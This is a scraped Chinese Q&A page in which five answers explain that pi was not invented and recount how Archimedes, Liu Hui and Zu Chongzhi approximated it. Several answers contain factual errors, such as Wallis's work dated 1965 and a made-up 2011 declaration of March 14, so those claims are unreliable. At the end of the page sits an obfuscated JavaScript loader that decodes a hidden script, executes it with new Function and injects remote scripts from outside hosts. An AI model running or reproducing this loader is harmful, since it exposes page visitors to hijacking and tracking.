圆周率是谁发明的?

2025-02-28 07:01:55
推荐回答(5个)
回答1:

圆周率不是谁的发明,是我国古代数学家祖冲之首先计算出其准确值在3.1415926和3.1415927之间,并可以用分数355/113来表达,准确到小数点后第7位。

扩展资料

圆周率(Pi)是圆的周长与直径的比值,一般用希腊字母π表示,是一个在数学及物理学中普遍存在的数学常数。π也等于圆形之面积与半径平方之比。是精确计算圆周长、圆面积、球体积等几何形状的关键值。 在分析学里,π可以严格地定义为满足sin x = 0的最小正实数x。

圆周率用希腊字母 π(读作pài)表示,是一个常数(约等于3.141592654),是代表圆周长和直径的比值。它是一个无理数,即无限不循环小数。在日常生活中,通常都用3.14代表圆周率去进行近似计算。而用十位小数3.141592654便足以应付一般计算。即使是工程师或物理学家要进行较精密的计算,充其量也只需取值至小数点后几百个位。 

1965年,英国数学家约翰·沃利斯(John Wallis)出版了一本数学专著,其中他推导出一个公式,发现圆周率等于无穷个分数相乘的积。2015年,罗切斯特大学的科学家们在氢原子能级的量子力学计算中发现了圆周率相同的公式

参考资料圆周率(圆的周长与直径的比值)_百度百科 

回答2:

圆周率不是某一个人发明的,而是在历史的进程中,不同的数学家经过无数次的演算得出的。

古希腊大数学家阿基米德(公元前287–212 年) 开创了人类历史上通过理论计算圆周率近似值的先河。

公元480年左右,南北朝时期的数学家祖冲之进一步得出精确到小数点后7位的结果,给出不足近似值3.1415926和过剩近似值3.1415927,还得到两个近似分数值。

扩展资料:

圆周率(Pi)是圆的周长与直径的比值,一般用希腊字母π表示,是一个在数学及物理学中普遍存在的数学常数。π也等于圆形之面积与半径平方之比。是精确计算圆周长、圆面积、球体积等几何形状的关键值。 在分析学里,π可以严格地定义为满足sin x = 0的最小正实数x。

圆周率用希腊字母 π(读作pài)表示,是一个常数(约等于3.141592654),是代表圆周长和直径的比值。它是一个无理数,即无限不循环小数。在日常生活中,通常都用3.14代表圆周率去进行近似计算。而用十位小数3.141592654便足以应付一般计算。

参考资料:圆周率—百度百科

回答3:

圆周率是一个概念,一个定义,不存在由谁发明的问题。 而对于圆周率精确计算,在各个时期达到如何的精度是有记录的。数学家祖冲之为圆周率做出了巨大的贡献。

1、第一个用科学方法寻求圆周率数值的人是阿基米德,他在《圆的度量》(公元前3世纪)中用圆内接和外切正多边形的周长确定圆周长的上下界,从正六边形开始,逐次加倍计算到正96边形,得到(3+(10/71)) < π < (3+(1/7)) ,开创了圆周率计算的几何方法(亦称古典方法,或阿基米德方法),得出精确到小数点后两位的π值。

2、中国数学家刘徽在注释《九章算术》(263年)时只用圆内接正多边形就求得π的近似值,也得出精确到两位小数的π值,他的方法被后人称为割圆术.他用割圆术一直算到圆内接正192边形.

3、南北朝时代数学家祖冲之进一步得出精确到小数点后7位的π值(约5世纪下半叶)。

4、在西方直到1573才由德国人奥托得到经过长期的艰苦研究,他计算出圆周率在3.1415926和3.1415927之间,成为世界上最早把圆周率数值推算到七位数字以上的科学家。

扩展资料:

国际圆周率日

2011年,国际数学协会正式宣布,将每年的3月14日设为国际数学节,来源则是中国古代数学家祖冲之的圆周率。 

国际圆周率日可以追溯至1988年3月14日,旧金山科学博物馆的物理学家Larry Shaw,他组织博物馆的员工和参与者围绕博物馆纪念碑做3又1/7圈(22/7,π的近似值之一)的圆周运动,并一起吃水果派。之后,旧金山科学博物馆继承了这个传统,在每年的这一天都举办庆祝活动。

2009年,美国众议院正式通过一项无约束力决议,将每年的3月14日设定为“圆周率日”。决议认为,“鉴于数学和自然科学是教育当中有趣而不可或缺的一部分,而学习有关π的知识是一教孩子几何、吸引他们学习自然科学和数学的迷人方式……π约等于3.14,因此3月14日是纪念圆周率日最合适的日子。”

参考资料:百度百科——圆周率

回答4:

  圆周率不是谁的发明,是我国古代数学家祖冲之首先计算出其准确值在3.1415926和3.1415927之间,并可以用分数355/113来表达,准确到小数点后第7位。
  圆周率(π),是指一个圆形的周长(c)与直径( d)之比,即:π=c/d。对于任何大小的园,园周率都是相等的,它是客观的存在,是一个无穷小数,不能说是谁的发明,只能说谁计算得更早更准确。
  世界上许多数学家都研究计算过圆周率。
  公元前800至600年成文的古印度宗教巨著《百道梵书》曾记载圆周率等于分数339/108,约等于3.139。
  古希腊数学家阿基米德(公元前287–212 年) 开创了人类历史上通过理论计算圆周率近似值的先河。他从圆出发,用内接正六边形求出圆周率的下界为3,再用外接正六边形并借助勾股定理求出圆周率的上界小于4。接着,他对内接正六边形和外接正六边形的边数分别加倍计算,直到内接正96边形和外接正96边形为止。最后求得圆周率在223/71 和22/7之间,准确到了小数点后第5位 。
  中国古代数学家也独立计算了圆周率。古算书《周髀算经》(约公元前2世纪)的中有“径一而周三”的记载,意思即圆周率约等于3,这是一个近似值。到汉朝时,张衡计算得出圆周率的平方=10,也就是π=3.16……这个数还是很不准确。到了公元263年,中国数学家刘徽用“割圆术”计算圆周率,他也是从圆内接正六边形,逐次分割一直算到圆内接正192边形。算得π=3.141024,这个值已经准确到小数点后第三位了。到汉朝王莽时代,数学家继续割圆到1536边形,直至求出3072边形的面积,获得π=3927/1250=3.1416。
  到公元480年左右,南北朝时期的数学家祖冲之进一步得出精确到小数点后7位的结果,给出π的值在3.1415926和3.1415927之间,还得到两个近似分数值:π=355/113(称为宻率);π=22/7(称为约率),以便于人们记忆和计算。在之后的800年里祖冲之计算出的π值仍是最准确的。其中的密率在西方直到1573年才由德国人奥托得到,1625年才发表于荷兰工程师安托尼斯的著作中,比祖冲之的计算晚了1000多年。所以,可以说,圆周率是中国人最早计算到小数点后7位。
阿拉伯数学家卡西在15世纪初求得圆周率17位精确小数值,打破祖冲之保持近千年的纪录。德国数学家鲁道夫·范·科伊伦于1596年将π值算到20位小数值,后投入毕生精力,于1610年算到小数后35位数,该数值被用他的名字称为鲁道夫数。
  现代计算机和计算技术的发明,圆周率可以计算到需要的精确位数。2011年10月16日,日本人近藤茂利用家中电脑,花费约一年时间将圆周率计算到小数点后10万亿位,刷新了2010年8月由他自己创下的5万亿位吉尼斯世界纪录。

回答5:

圆周率不是发明的,是发现的。早在三国时期,著名数学家刘徽就用割圆术将圆周率精确到小数点后3位,南北朝时期的祖冲之在刘徽研究的基础上,将圆周率精确到了小数点后7位,这一成就比欧洲人要早一千多年。
自古以来,人们都是利用圆周率来计算圆周的。用直尺测出杯口直径,再乘以3,就得到杯口周长大约的数字;如果乘以3.14,数字准确一些;乘以3.141,就更精确了。圆周和直径里边有一个关系数,叫圆周率“”,这是一个不变的数字。这个数字是我们的祖先努力求得的。公元前1世纪(距今2000多年),中国的一本数学著作《周髀算经》里,就有“周三径一”的记录:圆周长是3,直径是1,=3。制作木桶时,匠人就是以这个方法来计算的。顾客提出要做个口径多大的木桶,匠人就将直径乘以3,得到桶口周长,来计算木料,制造木桶。
到了公元3世纪(1600年前),三国时代的刘徽,为了求得更准确的圆周率,发明了新的方法——割圆术。他先在圆内画一个正六边形,得到“径一周三”的结论。然后把圆内的多边形越画越多,从正12边形、正14边形等等,直画到3072边形,得到
3.1416的圆周率,这在当时是何等的伟大呀!
到1400年前的中国南北朝时代,祖冲之用算筹(计算用的竹片)从正192边形算起,一直割圆到正24576边形,祖冲之认为割圆是无穷尽的,圆周率也是无穷尽的。祖冲之得出的圆周率为:3.1415926(约率)<<
3.
1415927(密率)
纠正一下,圆周率并不是祖冲之发现的,他之前,刘徽就就计算过圆周率.
作为数学家,研究计算圆周率应该是他们的专业方向之一.
我国古代数学家对圆周率方面的研究工作,成绩是突出的。
祖冲之是和他儿子一起从事这项研究工作的,当时条件很差。他们在一间大屋的地上画了一个直径1丈的大圆。从内接正6边形开始计算,12边形,24边形,48边形的翻翻,一直算到96边形,计算的结果和刘徽的一样。接着,内接边数再逐次翻翻,边数每翻一次,要进行7次加减运算,2次乘方,2次开方,运算的数字都很大,很复杂,在当时的条件下,是十分困难的。
祖冲之父子一直把边形算到24576边,得出了圆周率在3·1415926和3·1415927之间,精确到了小数点后7位。
其近似分数是
355/113,被称为"密率"。德国数学家奥托在1573年重新得出这个近似分数。当时,欧洲人还不知道在一千多年之前祖冲之就己经算出来了。后来荷兰人安托尼兹也算出这个近似分数,于是欧洲人就把这个称为"密率"的近似分数叫着"安托尼兹率"。日本数学家认为应该恢复其本来面目,肯定祖冲之在圆周率方面研究的贡献,改称"祖率"才对。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();